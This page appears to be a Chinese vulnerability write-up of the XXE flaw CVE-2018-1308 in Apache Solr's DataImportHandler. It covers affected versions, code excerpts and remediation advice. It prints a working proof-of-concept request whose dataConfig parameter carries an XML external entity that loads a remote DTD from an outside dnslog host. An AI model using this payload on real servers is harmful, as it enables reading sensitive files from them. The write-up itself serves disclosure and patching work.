热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:SolrDIHdataConfig参数XXE漏洞

篇首语:本文由编程笔记#小编为大家整理,主要介绍了SolrDIHdataConfig参数XXE漏洞相关的知识,希望对你有一定的参考价值。别人的CVE,编号

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Solr DIH dataConfig参数XXE漏洞相关的知识,希望对你有一定的参考价值。


别人的CVE,编号CVE-2018-1308。今天无意看到了,刚好有用Solr搭建过服务,所以来水一篇。



0x01 背景介绍


DataImportHandler主要用于从数据库抓取数据并创建索引,Solr搭建完毕,并将数据插入到mysql等数据库之后,需要创建Core,并且对数据库中的数据生成索引,在生成索引的时候就会用到DIH。

在使用solr web控制台生成core索引的时候,dataConfig参数存在xxe漏洞,攻击者可以向服务端提交恶意的xml数据,利用恶意xml数据可以读取被攻击服务器的敏感文件、目录等。

漏洞影响版本:

Solr 1.2 to 6.6.2

Solr 7.0.0 to 7.2.1


漏洞原文链接:

https://issues.apache.org/jira/browse/SOLR-11971

http://seclists.org/oss-sec/2018/q2/22


0x02 漏洞测试


1、打开Solr Admin控制台;

2、选择创建好的core,然后点击DataImport功能;

3、点击”Execute“的时候,进行抓包,可以获取Dataimport的具体请求。

也可以直接访问功能入口Url:

http://www.nxadmin.com/solr/#/corename/dataimport

以solr 6.0.1为例,抓包获取的测试请求如下:

POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1
Host: 61.113.214.108:9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http://www.nxadmin.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-type: application/x-www-form-urlencoded
Referer: http://www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest

默认请求中是不存在漏洞参数dataConfig的,使用的是配置文件的方式data-config.xml中包含了mysql数据库的连接配置,以及需要生成索引的表的字段等信息。有关请求中非默认参数的相关代码片段:

package org.apache.solr.handler.dataimport;
......
public class RequestInfo {
 private final String command;
 private final boolean debug;  
 private final boolean syncMode;
 private final boolean commit;
 private final boolean optimize;
 ......
 private final String configFile;
 private final String dataConfig;
 public RequestInfo(SolrQueryRequest request, Map requestParams, ContentStream stream) {
 
 ......
 
   String dataCOnfigParam= (String) requestParams.get("dataConfig");
   if (dataConfigParam != null && dataConfigParam.trim().length() == 0) {
     //如果dataConfig参数的值为空,将该参数置为null
     dataCOnfigParam= null;
   }
   dataCOnfig= dataConfigParam;
   
......

  public String getDataConfig() {
   return dataConfig;
 }
 
......

}

使用如上请求,可以自行添加dataConfig参数,因此具体的漏洞测试请求如下;

POST /corename/dataimport?_=1531279910257&indent=on&wt=json HTTP/1.1
Host: 61.113.214.100:9983
Content-Length: 282
Accept: application/json, text/plain, */*
Origin: http://www.nxadmin.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-type: application/x-www-form-urlencoded
Referer: http://www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
command=full-import&verbose=false&clean=false&commit=false&optimize=false&core=xxetest&dataCOnfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fsolrxxe.8ug564.ceye.io%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E

以上是漏洞作者提供的测试payload,使用dnslog的方式证明漏洞存在,如图:



0x03 修复建议&缓解措施


1、升级到6.6.3或7.3版本;

2、或者将solr Admin控制台放到内网;

3、以6.0.1为例,可以为控制台增加401认证方式,6.0.1默认是没有授权认证的,匿名用户可直接访问管理控制台,需要单独配置增加401认证。在配置的时候需要注意,涉及到的主要功能请求URL都需要进行401认证,否则有可能会被攻击者直接访问功能请求来绕过401认证。


推荐阅读
author-avatar
乌龟考拉互受
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有